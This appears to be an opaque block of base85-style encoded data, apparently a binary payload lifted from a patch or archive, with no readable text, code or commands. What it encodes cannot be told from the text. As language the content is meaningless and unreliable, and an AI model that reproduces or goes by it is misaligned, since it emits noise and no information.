      WJl+VvD6^>o3JfyU$=W4fj4o@k2lG@bk?THbgn~P6*es74= zh8r{coGJW+TeLb;8*@Y@$i0Wwhr69@_W4RW1?A={kyEsFiBK9+t+D3l(d+)N4|qcx z^AzyzYBL639Dlr!CJ*at5~mI1SJE3f*0VRvj&2eccC%Gmx8BGCJkxA<#-MA{ zyxCsB{4Jg((By*_*(K^A)fwswNM7}&1^WcxVxI!ToGo{Z?c>bNLqb^4WZOFXwUk?olp5srK`9UB^CaPeL?R}9N`4Kvuv zOE#pdsb7TK{8UBx38TkY5c}!9(IS`XFO$BoMmv)z+e^R1unhkIs){%r-bve^`#+Z+ z=pu7xbWL^@ZUSAxoGJNbx0lqi3#%8OAmX++9kz$J1}mdC6vlM);cf(2QB1LL*O%_w z&*DtGG8AAAbqbGf>NpLW%739L(OqVW6uUg9letrHS4w0$KSgiN^+m8ngyN=+FPe{R z%BL3%!=6wh54Wth9V610^JPar z>oZw@``i;y(;QG~52xq^o}^rX;KBc#7r%c^3aCQF0d87RNQeB1$oKs`>s%ZLGG(<{ zwtD9pC+yjKc99kG)mmegUZCd@;Vg)fj^SIUD7wqMtRbQ zG5N;k!?uj@OXwC~Qc;lExVizJXB&f;RVZwHp*-A}id*>s}tt?Fd!N0wn8&xfxL zU$*c5aG&KoRo5GTU-?q>N6kkT_Mm&SvzNtF4t0*r!zQ;G+v1(1vy(V~!jE^Rx!bqm z)}OG@v>D88OT)Jh85Y`P)0}61ZS@OpJJEJ!DAphL2@PoqA~{vkz4MyH!?4>Y$Qs4C zJ=ghStJoN5!3JcPDazs#-D903&{N^U?mfjw*42eAoYtUlqhuVwMk2y(YkGFwhUwxS z--3d2i$P+5s)bK=3hhb8BzIb0o%QW9=idi*nf&i!$BRGKrDgS) z8Nbc00I%aGVEFJr<7s-Kx0~v zb!CBuTufWd1mlY2?90V-|z1u zikD>lXP5$^6a1U_@1s&-Izf4&4_Lo@JD3n)s$mNYE3MrHY(8(zl&hm+Xwm2?W#DbA zx9EvE)u;e|N4oQ^SAfbZ`?zY3*|y;D07X*Iujl}=eFWgk8C{-|T-bcN%+;W;f&~nw zvZ6s(3l=+iGFWk&-!uqWnAD1o2S4-PWPo3>qI)WYnvF{^au=)R_Fh(iZSLyl1$tYr zY=8NFFw_R#GSCd*YJTV8%N9&QvwGRoozZjPzEKr43ts^rsNw!K5tfHgl>&=j=)lWU z8#w#ViB*9IY`4h`;~l(g>Amk^K|~T>VV6&%c`Rf#=Olxc0{8T#t863vCSSW_0^t>O zQ@PumaRS8craz$-Q-}1lm;m$C9?4=`^J%+!6PL`OYzaB!Jz9~iN!Am z$BG7?7Js-iH%CU=pDo&>wfuhZEuMi+9%%m}ahz9gn9%X|`ecQ&o^5Di^DzMjFz7n(oA70+-Ne zphcPV`#}=eOkQ|>@F1mI9}Yv{zis9nuN@MLMh8Zm%qO!gCN1FMfJ!)a1PC;0knhoL zJ9bfztKrWHm&EoA?Q!!8&o0;QRV>z@!{Ztj6xQso=JgMkujET;)~;U~arL}PX<

      BU`QPJtGwtu_f&H&Q`uKI3Kh2-fTMG7sOTk-9ZFAp50GKMhIl}ZJw90@_mgm$6>CZ)>vPC` zpsTIM-@=7>@wxp<56NUUYbJqS&eAt68FWKm3u=f7?|<^ncrsdXk3t0bn}w{mu9OH-8dF*Zb+V!Fyk~ z#3~xn0MC6eVrJ>zgvh7~KGjeYM?9tdM!8O%KgooBb{+WlrSbvO! zvQzvMMGWU^(;I&g#PVdc8YZBH22rW|D&}+!E>CyZ7+pYNFA=7@DyBkxXVz2Tt9}3a zpmnU2Vdm5pr}QuE%5QDb&^E8oVF+BuCjGz}F=roCzo8ZO96rT^ z_~5H4BnXRvf7#SPDkhL)NSrz8-%Yd3O=CCbuNR@yv+q4gp@zTxKl=cI6HEFB1$jm{e;o!x=OjGh+^>3J-MF#bU3LXs6sPPxuC5V|5N`CUppIyFuiHjRph7gwO|1Ff{V@o{qRB8Q0pZ51ie1xm_U z60P+&FD41!>8-osBhNjOgf{7r{M@+~#+1<5& zoSNyozX3K#Fqt$8(fh?^wu<%}bAS}%jEf}ZyD_5y;dkc|vhZsJli)3ptD?eqeA=oMonEkp#A-)R8c&Sllg**uZKC0!E2Xm z9RGaJ(NPr?g>%4(Mcpe(5S&Y+$*?rBXUEu*UH&vU3awE)0~>l>@ST8yg3g2-idyp* z9xJy$af;|vV0QC;k(M-fo*6fi1|rrN0M;L^x2ttGpL(7yMK{+XmC12s)^+EM%*ssH z7?T*=Fe53wLjPv~3clC;3ozWkMnQ_2I$kOie{Qz^euOXZ_IPu`pd*w+htnN@`zyY7 z5_N}^4^fVXl#xs$ZPlDwpB1f(TJqo-sgx)J;ZgGNp3ipFnzw`G%h|8!o?wg+I8k0= zU09Uw^kR5)^uyFVxu56B70mBeqY1I9#?xPSvuUQp^v8R6c)5!~Te!8TyXx#c@7>?? zqPKu{i|t@AVrqRV!-d<^$0ZKM48TQ$xAt0~Put{DTg5f) zw26p;iAW4;DxY=hmu%O>E$`bE9JpUrNG*7?EpIz*4-?p|&_b`THZES@q`5tRn8|6d z?F=iuWW=0(&2R2LZJmBOD5Z>aH*|{DXx!YYFgSy6 zNf&kMbV@YWki7Q4iZfr*h<>|Rp{r+4-NY`a*5qC+1R z;IEnquXwV;T3;9W?re{ZWWWm7le707Dcl#I8F){O>2i#IaeDbhr=GK@Syku_p7Ii- zsyPRE^k-v$iA;Y3!Yx~%ATvz?2LL0~&GqZFxt*uOU&)%E=(8U@V=2I+w9>i*4cu_J zvqP+)};m8d?j`1-mgBQECGjRX(y9LBzivPcq98!LEz z0IgVgr?{pHg$fb+z2(a4Y~e?r8`eMSoUQ+eAwt!6I%F9O786BHyGu3It97X)9ex^} zA9d@UIK0MAVc`<(g1Qe4pqG4cY=5YX$`}{sGo;zXYNFMteS)Hy>r`)^)~sU!j7#y* z9x$Zd2RFvQqT-TnWy&yx&W!?8N+NT)rN< zjE>GO3mpcaU!qAoT&~=$7qXORoH_hY?qJ-gmg$NxEEGA9CInQ@K>m{O26)!lZfv=( zcf)iJ_a2Y-9Bf#mjD9#oH!W8?4hp|!cQC(LNGPI|=JcF*xIbi>Zzk8%(dlbxQ~XZP z=V>yVvq&dTzfoC9O_kJv{c*!yG4;^6xHHns^tg4xSD4s0TwP6HCg#lhw+F%hs4msA z{4ON1y~aVE7`1w_{a_snRc(CC1QH=2_WSFO{o7V+q2=~(Y-O|G6~^b3E9 zrs>IpnN8MST1j3w1A4UCK?rj~m@ z`1Tkt;uopb=u*D9hbj)>W!fk>iy1k&8av%hO}IP8>ZV|z?eoKNHsQe5Dse-AYlsLi z;j~+yo)FSA9}8i9;6&3@FZ9JW$$?bQq1OZ|SnC`aUHXj(E41HHYhwlRQy(fC$6mrIO?&VZ#xL36X@w(4e|1t zMhqKL6cQJTmnW{qsl#|frAO{LXdbE+h3mH$w}7YBS1X9)+w;rW|^h^|EqkTYL$-oA4(9(s1M?!(s(uPJ4Bw%b?+PY7O z9KJI-({J_95l%nQ1fBSvi}rHdcvYiHx+DXKhf!`YP=`R2rmPX+^0qOFV7FoxT<#^9 z$GO$L=7(BU!HF!Xgjr9+_LCdj#Z0MwBfsG^Ou@k+4S|5#YcsRL@p|JDjk9yJjy!x2 zAfv+{&fS^5oZ(B#b#WJ4a|dxBqYOC%ZR4Nuk;IYSD;KaF>dd;j$;u@2n<$$Iorsj( zT22P^cMOvOR2XaNcs7vrj!;ZYgfb_&TaR(K09z>CZ!~g8~Fq`=pb!!t1Y2WQc?UL(qcF8IEmX~ zSsK9{jM4nCp^MdD;bAf#b?a=mE#O~SWOr-W;PI($&cTG9$yZiZvs|cBL=5j77`3rO zzpR0s@E}HVQ|#+QGnBW^b#6+VhMa=+W2ufi6F> z9gxP}oIn2g=Uo2T5x}a^buFsBm`B|bvd1H7yT>lg?KmNhOJNq9d}Im9?sezSVegCFlSJmgnPBNpRz7(qEaHdL#w(&psu+>b`+Cc_ryG>v-bmk3!fHKp!rL0YgBF%LRJhmXD)fMP`JE8|NVbn9JR6jdwjui6q1AN z&3{#M|G8ECXXhaN!*r%Y0Zkt>Ab)o0-(b`K(xLVLUhO{v`0s)J|92$m>+B>IsU-L5 zRsK9Uc68_`vlqOoZ{Dz@oOHmwvk~KHy0{Sagx+=0Pxu!jpkCp@$Y1(^wTIK+;@K)s z)Q|q6PPPSb<6|I`bu#Xw&7>iElKnCeY`XV7aR__3ep@5=8&`@8+s|9@mB z2*)4i@!)ys8mByjQ`ly#PUNbIoqT*1{{<_>;m1<9!M36;!-*7vE%o) zuKvLE;QiQ#I_#sxI>uji)^gK$W-m_LIx|5UlZk7+>I2O(Oj=up@OwPo5Lfi|NmZ?j z#f01L}OCGDlLHB&uiJRRH_ML)=xz|n4)fxtK1iSss#g;fALH}ONqhLq@ z?gQ-_bbtwoSl)MRNfwFh0HDRWm#xM(y5y{Qb)c|%Y8&Z3FN-yHop)R54e)W+>5~CG zSs1LG3)nYqmsykEI0|S32*gh#O5*AA@TS2A*?~$B9ns6=3qs%tBAGyV8T&G?9+^)7 zl9F&PevO5@xtz{-BR(1$W@(@j0M4-H0un-tKm|Z)p=-5*g6&NgNR^p!sl9`v zZyrrO#h7|fcL%)1O`(hmN6ha{*inyi-o5228RUg;u0L(fyhQ{|eyw0pH5c1>Z27Mh zBmQT_ls-lsm|a(8F?tVI^U#6GUfvJGtXprpx&RbGB^By$vd%dorE&$SB!B8?EA69k z(2-c zrcj$1v4)wmRyg?`SLvaPptaQ5+b_(z?1b@^*ec$X1y*GtsXJ#NWhjJ9KyqwR{)mMQ zNMFQka_YgX*79QyorjAhXQU9^2^L@k!%)w6L7;a2L7ywz!{|OI@XRub8GxZU5b3#& zBVnHmTILrVtodFOJ9zW_JtyhZ|E|5?U25pmLsXkaZ=pfXyT*kUor+~bXso4?L-0$j zW{*M#K`t(0|>yP;}%$j6FAD zI5gZg=xaS`ohz2Y)bR0F%A~{3cy8&RpybO%nVhMmN+|*M;~Tua&7TU(%ab3C6UfVV z8cZ6igj>_|^YgPUpZ1z1>2$d(VQUKD27|%-Hg4!UKJ;L*{oajY+i+%jukQt8>Op!B zb(2SxUjYyzMgMTBU(}{$&>h`UP{V=Z5JeCb1@IOp)1QAjJlK!c$gj_dXvR;9t)vzCf|n(KBh-aB<}f9Yt|P9;rW6^9$a2W3YL4Y}LrQGGj!o%%Rw zR3OBt&-~7zmvzhheN~?HEwR@(o0~VbUZ13HFW`G5`S&=R55BlpYZi5V)g{i+2Ex5l z@54U9%*#O%43r9=?CEi>wV~VO^dgzHah@Uuk99}2IYtplqw^85VMpo)&Fv>!$Tg4a zVT;jbSEOD8t0Z5z$H9gkrA6{e2Z{&d*e_-Usvqp_H;Ps`iij#4Vh%SD!FQKsEIwGc z=?zP$Q#uY4Hco|7i*|s*&pd_?vMAE^sY8}V*}EVs+PrI&U?(rHD{0Y2+h_lvRBh~` zh|=08vXUAqa~UO6LuzS%Jf*c;rRff&OCJL69qt!1)C7(-Mm|9rahx@;2GVlw- z^;aSp?Xcg;Xm~MG^Fq>rZ;Oy$SuC=&GOk)mV)32U+8K}8=oeC#PZlp2toCeH6U4zn z|Iq$`Hg_-g^=2gnURgBQk8+H8c?Zu1^wninN{oMRmSbFG>e_luO=vVTzcto~*j0LY zhN=%vrzu26uIf%hv68rPpOc&jD=$aCv|EiYe_}mHlld|?y21D$aaqv-EUa+vHxO4- zoXlQ7eq+02d*0|4(7rfQSkZe#vh(m%b84=C$&PBTk{C+P^P6PDHEd2g+#JG5xfy)K z8l~!UAh8EV)Y-#XBKAp8D$2jsPwGxcfs^E?vR3Z%Z1QKsy+0ov#*zg7D z%-(wjLm={yt9WG?R`52FgDwjbK!=SZe0C;7I~#DDc3pUBNj$|cTC@{JCBBY}I}FFB z7JUpaUyDRwmBr(SA<3iWd(3dvk%qov3&1*|jSM2ikT%qJn#zXm5OS6Hdsm-`cWoex>#it;7j=}DfB z(S8Pf6*H|bPH2&BtEV~K2_UdHcNG5P*2dRLogs6L{j$prCKGLoj<%{9_q7_}ZEvEW z+gV}_r^Z)^+G`m9YiWZ|0W_|xy-hr90IN;vSWc~R*#HPuf>J$-wV%qX3K47KkYh#i zErpz*i{c1hw{|zUZD-~rjm_Zp)PdA%5a=LBjUKFvN0yK-Wo$o{{qa(t4Y4TfBj&9S znlW)yl~xVYci-SqyiZ;gJF@zDmRRMk3A6ibJMimEQb#Smy(GO~G4-Hn4^~8SfZmiM zO!sU%o08-Mt&a9M1X)D#HgT5TDak~k%et6ErpxY(5ukf7<5ox6Ikuz2Q(*B7Kdz7F z;f-*So-5@cPB)5);2H@q8_w`8isB7=f{GIFmdpMrOrnxO-@kN2FmDH=zQ<jE#Mhz|Ct&~@>ddzd7qO>wWHjVZI*Mqy9+WH8dm{xMh}U>3T^6Swp}ato?Fb+FY+X3FWO1E+vnxMdDMUc}g%3a>c6FEww@{i-XyL+&Lctmh2Wpzs$(z{Mx zi!83+Sz7dHS>`GN|DB|iuU*6oiL%x(N&!cs{(G!4I0?jnZ{=R&!`{hN{L7Tr)asTc zbtmH$L8J%RoWNZH^Spy46c zKo(2=bv%qseqDz?$Fz20Q4CR=r6FPv?z$VP#VLbH7r=MLNxhp83ecq-ut=P%?HY?W zO7_Ey>sG0KXPMLn=yn2J=jZ|suf;6}F3ywP601W}*3Yg=Mt$AYzfyB-f60NSrc7yJ z9pxY7vxvf{BvKc(-4OFcLFUk^A<;=etAu%hFj=Q4vCp2;HtBXBMD1WMv)Bg6zg#h0 zyBq8QR5R~5P+YN#&$jpE(Ew|c8IR$Ivbu-(LJehUqN#Rgjq3YQsabq2CD+Y`r$EGk zSBI7IqExksvn0)Spwg1q*^EzN#WC54z`KiDPtT6yv6CVNZh6j{uWrf+tTr-|2{_Sb zl+WGo*Q3AK+y<(`1w4q)2Vp!Z9>%&l2xe1t%) z9xfDZ=xI_|Po?OMQE*U^nv3nv68@pp##m#V+Nkb4)0JYl=jfGx1@Xf#OBEC>0b*_}~C=UJ$J5doj06GCnaNzPi1NUTzaQz3H} zKXqlefy~BwnC%qzFQs*D93aq)^di`ha+>qZg_qpQ*DY;yLd43D6isUS%m+20e_oFv zsB__mSXUL`$&RoeY(8T`YUTVwJ{(FI+`W)G%bJa|_W*@&mi8j2o(U3)S({e%^M@1$W-z$F-7RmQUHj^>_`{Y1n5Z?zE@W@KxmB}+nw=j zO@ZF!ipu{oH4SVT|4ofRPuYixCxK7AwqB>YmBYMIRYECA!tS81RcM|U6v9185UCm* zP&iRIHd@?VG(x-p9k45%;lh>Cq6TN>vmLm(E4ed2*3XVqsRGx>cTK2s%KKX3WIE1l z#e+rI0*`NS1`px_?ib@(ukqiqy&VivQP{8~z6yWyl#~)7c9q=lf-rWC6}U_hX8j)f zgUy7cPJyePM@qFaiWC?RjJfO(-@H`(FoPp zv7+-Mtghqf=M>gP zTpP^KtP<4YURTQV7rjZnn4=Uhf3_E2h;R4&^M&H;9NU_MIR)fO*emMY4-@W6ZW9tI zhH2H}T~d8L+(+GveDg+0m^a*&Tni{c`Ck2(r$m6lWhau&`PlSUSnXjc^7+&im+79} z2RpQ>nJclVmNdQd#__QVrbVAfc{EQ&#CLa`N;VQx5E9tLSxpvqHKt5U16RgJ?2K+A zqw=hAE90g)e042ZI_QVQ(XWrZ+3N>xrm?RPI9Y?7DO$$mfcHt%rwJcNjWZQyOysaF zBFa^BZi!TvGcw>TDuwzOE(0(pODKnabR-atfNH;_ffZq zxi-8p?&lp`q1aaUw_~?Ol&-n8R!mJhKqa9xNpKYcgKenZQ$rk^?}?cL@l-n~&<+|p z_%i&o*A@Et_ z2FUlu@zmywZG?+V2{)hM6*9XnBySbiI-ESDT}k$F3Vua_3LvRmjl-=bSnakb?n2t2BcgSC>F&y^KR>-n-mhWWCrZ0Wo zn$x>|ww=R3`hA$3$%2$J&gru4?eHCVFKI8+^P~|m{n>UWUH+ve3$4rhW=u@LuIT;m zRVn&Z=W6exHaccrSwxPj5z&&LCcw1kz451-n7_%Zt0yBGKtdxeMnpFb04|tI2Ttt9 z&OEqj^Io>j*as7rH5`JQ##YWdkzZ<~<7GdnK+}@$-%zPHHNLK4Th0WPDI7Gr^}{I_ zU_zF6^{?tD{>SDX=Fc9}&?-90N0oidgEzR6WGm8n7AO5DIo(~o8*)VxTO7io*38c- zsuVt>tP6j?zWy!Nk47n?0k1Zz%k^dno(C`hn=GzPxl8za=~Xlmr>PoyOI$-y)&XuR z6z(wl1i@h7E!giOg%Bz3mmgMUKC3t4L@NWl9ZI8P7C32jwZl75?O(wG&OctdZrQT+ zekmzY77ZB5p?!t{PPiD_P_b&0yzVxmc{oUQ4T@coy<$}={46U3GlY!AveGIpZsVy< zMdG4);z`QePq@0mc$B8|NtbYL8j9)99DHljqv|&2Bgdp~Jzt zb=PFQHaNTY{pqA+;!kGNt&i%hM4LWPfX@OkSh0s>C&Iqt+(arnp$>LK^%z08?d)je zy%^4ITZuIspb8z(5t+D?WUZRAB1Y=2a%wkJAG#fgL6Ps};2h1MH`>$Zs-8vB-w4)# zu|=+pBzc*D^s4aMuO8`(dR46})DOC7d^$LP)Ia!Sx_DQxx0BIadW?&vy_GrmH6bOZ z0B+f@^sxRLqvz9 zlm(t>c@ArD$pCaR7~sup``*0S%O&Z)_LxHUsy`vrD3cUi2U_Uv`dQ1J*0mVL47dO* zPYb9ptN311ovm3fFBClVqu@JXP!#wGE@zo)cY03FfIKE1)f~%sb7`l5(v(N0((y2> zK@dz8$w<%N2Ni?&phwXy29t+tndXoLQ0e#FR(AtNpt6x+f=|V78 za!e>W<^gOpXWA+iKfC#8Z;H&k99RoYDatP=rMyMkQYPZ6}2@2=w|05UJcNQoLyAWZ`SPmnzZKq;^4&q}xlo ztTXCheuXJ)Z6RHa?+Vi5L3tYa$?NG|WPu_m{)E~;b^rVD1wKtz0h>Ur72CEHo+v6g zzZA*DM)SnT5Pt%se~W=Romoj{cx|UzxZ?ns55@dqIG$qyRA{^HI0rgh?zG33@Qmz1 zbIEt)Q5G3RD3$#wF0kZGC(T+di{=R~%bN^MAP`*YF9vR-ul@XgR?*A;Ka9O~R8?L3 z?!O2HMH)qtz0N`umkv@{5ch?I0A2#C@twLxi+jt!g6O>aWFev{{Y-gC}( zobemu{Nr#i$hGF0>z>zrU7y=wJ#uf5uh>k|L5Df*pj;JcbhIidV#?Z4VD}NIRWQP6psx!5PyBHy! zyWJVs7}s?GSK^I>HGEFAV zaRae@JU=||mneSRg1(ROqg`H+tev7?;{A!=$O3A4T^tH6;FV5{zJV=CM~~@`37r!8 zU-hFs)2;aV)xpr|5@);7ch9OP+E6IBXuF%91Iftt0Gtu1 zljSX6W9x%I38KuhIPt(-U?3Q;ht4blN1u(6KjN6h)V;!Np3wgP(7HshTVi!plh{(tkk( z&UsVrb@^5eC$$*)_DPh_)GDsPAw@oCvd(Re)g}jrG}L^3{pg`An}~AeLIe5a?NIy4 zyXO7=%S*zTl0yJ~cn2bvJ}XiIwa|EEs!83qelHrw439)aBV5JcY4py&duiq3#l&pk z@Zmd=rx$5MnjLa*b!?cah46HJvS`AG)3THPUQ=LiHubp>SpacAX*iacOaE=>bTo-nn0zy%{)zJFks0PEQWK z$R2;<)Z|?#8@CsY^S^djQP3}hFG)QY93@E7+P-qEegUJLzK^j6fTQ?AePnT4yT8M^lDEmhQ}s zXBcCa-aAGXP8?1oKN1_MlOBWTzKCu+)TF9GXg(H8q=ad%PkvZ*-c^gHXkiyFQCmSjvJ4_^QKK7Hjs!!^-9u+GfRmDg#58P?7Ga zmrA6czY+__!Qxi$*|gE$At|o(vppfGJ6{;>a0B8Q3M~G_6bY42snWF%R<)Sj?G*LO~Kn$leo}`^K)OifW@PwNFV;8AcqeD zMwj5{gHan7oCRPK60)L+7&PZd$0x462AuG9c|mFz+Qi4wS)VL$pX-b^yFc)kV~P>} zMr(UK*Vnk78<2p_c{Vn-fROpyQd;Vh&==F&{+GK?-`~_pC9Cd>Hj;MvN8-hXVIKP? zK3`AMky69h{+aDkP7e*panBRbPM@}+V{z93^o1t_rdIE4)tmD0`}RAUX!4CK zqO?{=n%dwlCmb>-1&|id6hHs|>6oCC>G=5RQ*lC7O^=@%?aXmL|EvbcdBNdmvPx~= zl48YRV$!s~Va{>5rbh82-~}Q+%d9 zZcQxJe_C3?d`{g`{aC4xvOIlCt@CD{TB@xDA=q$2EE4{@W}x9?Vpz4L2%{P&^$W@* ze>~)K+Gp}$%e0NXliBa(+)=V6qB_1ik2cKvCVf8TLG8*}{S_Aj^pxbD&7ORoBwKru zKWlR&VMK->NY%WzClYF$r`aLvexHRN!Y#*hF~9bDHt=q``wi|!F~~pfDHHo1go^db zM(U7MOS!w!2iZytRV#koS-mL99e)?`xaT}M@`J_jy|4d45da>Kau&$u`PUz~W8Q$l z*Tswp7$BiIARN*Se2+Ck6((Z+-UtRs8cvy$X*7Jfr4_+>!cr4csomst#=MIlrS*ys z-}`l@uL+S8XuvN-YQm!;tJx0Eo`2ejyqo3oBhyFpDP7iWh}C4@Ahi_-UG>u3j;G~QR`)TThFy2p zKpJ6F^h#F_x6e2{GqoO&5IRiOjXDghy7s%Lb1a2?DIIhJsS~=%I?x?nI4(2WKIPv& zcb+*J6{xpY!Y<8y1?WGof^k4WcbWZnQ;Un?EgO?NCsl9jkdK#AOFf))v5=i zcH7EeK;Zo`UbZEv9HVsIcrrnrR8H7{1g!YMy6A|vYW-s0i24L=6Ls(_ij!QFhZMm` zUEM*kpT`=Kf7$nd4yU+~k=!HU+J5{=JF|w*-r1|uGxEAQ+u)nEA&Pi6o7nftwAQoV z_*$JOlz>Thd=f+SZjg_DIMse;$dr=e@d4=RVJ|u`xJsPK)6jCFJVkzn<5C+_-SH(} z7T+AQst0ln1b@n;P&EQ``olJXI#2XU7_OVcm!q11v)!l${>UNwDP45cJNv?hhN)#G zyE3&Uw#-}4t_VUy4Lg?KsHVLsbEZ~z$=E6X8Jpx9V{=%|XLp0nP)PD*tf98ujN5rg z)(M}`(E5HD`E1>~AWM`j>5*Pj&>*9dGK%~1T;C|`AJhG5c+!u;x4YA(Te1I~ND z#9Wt?q=5j}Vym=?=XX5Y1v;+-w^9CCkrY*7D+?BgPac!RhpSxT#?_ke-+%DF{wKx; zcJ)$Vhzh(QhU%=9{u8^-=G z3)bG3|Dtwv!1$N(aZHmhGVmr-P?TT1aQa{*(_XO>cn_Eu=VE0end|w{$L4Y=H zokXg~Y^>kKoJqh-!?QQZbw=p(TYBeXjf_ zB`iVL*sl9^vith-uaCxYK!#wL=ew`=96&ustG<|& zLE{7MN=R+7V#+`m1G*^QW<@OzBrgSAY+R8tQsWd9e*(*VDQU}KO#3WDnqX1T*rV06 z1g(7APajs7zGchc(kFg2?!8FhaG8-KY{r!-hNL8n{SYYf_9=C)OD?JLV-`Tq8Qril za5IVQxJEMcR=SJ2&VNKoq#nUsJg$aoI`o=)w5W&F*z|wj&}Ogn3O*(35U@`_lVZS# z73=iX%)v3Ym;Und-xI~^OKfB;Bq?SZ_+G2#he={zT*4K|hPqldZu7v-FMc2Nxcruf zvV8LtF>Lj0sRfSQmp6W&ZJZX;JZ$b68hzR%_LG%g)e^@b;P&_W%ABjeyk{Rdr+xA& zLE2mL7LJZF$48Z$AGfX2)?hm}h$|fQHt8e+o>IMUa+8Z_xT}7SH3P()j3lM)pJVAIMMK#G&56b? zHYw48rz1$@`Zif!)egwz=nq`4SoyR7)~5{i;(pC(Jg&M(9FJ+o93UZl%OumUMo;AD zheYOrsNA`-n&^1|iQ!wTDRQ>XwP)Pl7}_-1J?($Inz-n`Uamm9fe$|5bvSk72KE3? z7WmXV6*Lte!rJPp8(}gmJZoY6kxb*+v!yNnd>5PIYQCBeNR(|vq>r+KtKWhgd3}u7 zw>uOCvc;YePJ$mFsw80F=INwR^t)!|yjR`6bJ<%G@K|lbs}5x5wmOLcEfXqg#AK0a#3B4RZE)AD~kHfNEKP`U8T@r+mMYTNrP zB6ePx+cQZTxlHT2AP+OHg;=;HIKrw3WXx~kHU@2KBN&`Cxt%vlnvN4hXj~Kml5!|I z>BU!mUpj`|@}Gd?D2spBZLM_8n6%lC4AwtGo}*SO6?N-^2<#{ggxdEhRt6>tq%A8NM`MF@I9s=*lm|h?&42Vv);E}Y zW}M=ie%x^{wRSA0=Y;{kboKSifmh&LN#3sz{;wB+OIS_8w{J4dhmaIhUjw8c*y%9A zoZ$cHqCrdlF;R>GP(m2jRVF$Q@$RtZsZ~Xb33`cWHYw5o6I{g7wi9s^O8PHL<&%r$cAx-Ye|M@ z|5a*!jOu9VdEI&3i^RmM;xj>7K_d}!8h78P^jD*^Pftc%M#YoYpC^CYQa?fCQwn@- zUDlyqjnh3!<&Z_a)}bEHt6WD*DPZip-$=X6OTQ>5l#<2(76|=&S5Dd|ppU~JaDNwy zgsh`fY+d}`LUgbM)?5D^kLh@^Rq2g*wGI3eA4zx&O|$}6*B^9ywmbD(=pA2vk6WSQ z^HC$m4{o=Y12&GFdX-mC2{35Vv4cEhvvR~y^pLfJ{HJ2`_&~B&B-P{S(f40?{=02v zVectHS)>@9uXgJdZ0xDes@Keu1+Gd`BGvAHsn*;|>^px0%lm5rt}}kb7J*;J3+dkH z*wFW@Acc(8EEU2!YC!o4q?7*nAHrg^9j4pN+Rnc6lqH9crE76&Y{lss$EdS*_w?yn z+FVYkM4z641~;xErZ%(sJ&+D#e?UpuR_!n;w-JQ3U387lDKqPMgUZ24_ae*&_mnzO z5(rf?Afw?xBNnCba#PM?0fdAXg2xuKw-1bVZ_E7Ga0~^FW5Yd%tBffG>USQg8<>VK+j{lt-pRw{`VLE`?US%nfssrcCunThlt4DH$_K516xZv0gI)<9+w;0 zH#NW!`~xwDq;S`=B)Fi1CsDuuM?eYsuZHt~{Rc@5L><6>YfBTc#fIMQOju>sa=6`D za;h`KKNcgE&<1v-fyfuyZa|XzzrOhY{)mfeGZS>Ym)NvftvcPCA&U()m0P5j(}Z#*lgT)dMV+0Bpx_Z0TI}ieyJ^&cdcWpz~{~v#AQ*d+XT#2D)L4l8K zvx0cTa8-|nx~EECwVwf`hh{{2^y0oxw52T<_sH;^rv1hb?7AeeFe+zA5ungY{HVd+50 zHLwe@-Vo*v;*e=1w@ifh)t0P)?J(v5_uc>aR{#G$rIilC02`JfH!T&$0JHED*l}%^ zAq1*lawH~Q}X(|wg}{`gN96!3tLa&DhT0uG6Q0{F_8RoisL|Brv~O$^ z3$Fz6%YH8mUsT<>(NXGJh6y&*y{H54I-!osCjyT#Tn35`x{E7k8Q&Z@A8$I++A}Tu zUoicP4ITE4p$k6e^UhG11J)zZqxsU26CuRQRNm;)dBWHT@@oo@)!0B3krOk^X z{m0*b{J`30lsd%yyFQ^!CF;iNbN3Pdv=6#p*2bpbY-3cXzgth_Ywz}Sy$*-&Yo9)3 zjQZWsGJII%T%tN-5;B3+&MVKGw7r^V^!?!rN1sa#E&EZlz+K??fcj}EEtMd_4$ zYy}v9`452CwKPTJHMWj)7C&2HGqWy|#9YfV2WcL*A#!D%n$J&45 zOA&jBByhwz+1Vzu!cTJ_76RV!#LiHEvhqf-XMpa~^S{jwIWIwA-I^a8zNr|^n~8c( zeMWV&32ajIT=dpH^u(Pw09$u~lPRb~7JrAxsmO@UL!hun_%~ZDOE^#fxRg&1NX5J> z{W_2Tn*suk@P-yEjx$8}}E$eo_v#dp<=Ukw++7D1~+vvlly1sg(AqR%0 z7{IHB)7IA3w>F6?wN6#os=!3#+Z~q-qHs{S%4wTvE0>)w`o;a~$#s3K>=VQCAn1vJ zGC%f&99cdw5T)BW4Qj3N)2~hSpcr3R%g?ALaX0_&00JQ&?JHe!kT=06y|LoeiK`M_ zJB-(f3)ic#ypF&xWR^71uPuledTFBU#NT$aOh)$&GNseJTeuJQnk!2jK)MuUwvLeq zvKKN4ZVw!r`eN2cVzTC@W&TA~gL>;i92=UK|EZC&Kkxl+-vK7hXzr4`)aOyem2Zb(!l?U>A|=J&eEyWI$ZqKY{(Vu&MxK z8NEU4lCYbLk!21SD*SPxN=J(g#cP+4JVaG)i58fgNP~I|guscwFaoSlHtWz`FVypo z*XL_YOzj|Bm{g>v9zhuHOBj3g2Y3(ji--#d1p$ z^XQdt8UCrYH!xm>t3?j8cBP+!tCr=lry~EjdAsB*hnO!6E0ip}FWP+jhffVvR zks4Z}{!8XJ6~?;8)bxJhw;@#p>;aH0!kKH@xP089>Hb>*hS}^C+Ei#z6m^wx@As98 z119!#{9Vw=FLXUb)kBg9M}Oa-;)_}`=yed}G>H`@I!HW5@s}7|6!ZFHsH=H^Q2`1T ztp1YljRU3McI~#~laIIOSRgvoRfECGKar=E>8Sy_v4-6|9kr{=3%T4_c^!hQQbqTj zA3ztpmaSMG(GfSFqk9qhQS0LkrtR_BHL;nTRa3zA%10k$B2ov8vG4I|nXgHpqej~M zU%wRFQgUfmwr{ zeHVvIeBA_Pk=iQHCP5XnIIftMu@W9Ds7AZT<}`AWqV5;%&_zBOP5U(J-}Id6x7(xK zbm`UrAZvNM49`|wt#;1?3?` z@L#1T+@9M{;qr>v*qfz}wEKKv#!HKOE8q|1F7JvT%t({((v(t?rTgvx+p7i0uMihDiEj=FCrM+S37)S8t=N2Kx3 zbz%b72@6Bg*GKZ!I~h8F&^tI4@l+)?s`r#93;e(g*2=(^2a4d$0X!mjwsK=eUQ*I% zvlA04qI=o$9^YZc&chuLKst^eR4&e8X8bV;SEtW1-`@QoGSt5g>+`sy|E$KI`^B2)iCHS<*8zzl4DwXSiC z4qDY{p)RP{>arob1@TbalC8qWg3kNE(KY!?a{RX3+YpXJ8N#5!Ha%a6~)(@*&nrCwbwOM(a-%a5lR0y$16Pn-|u 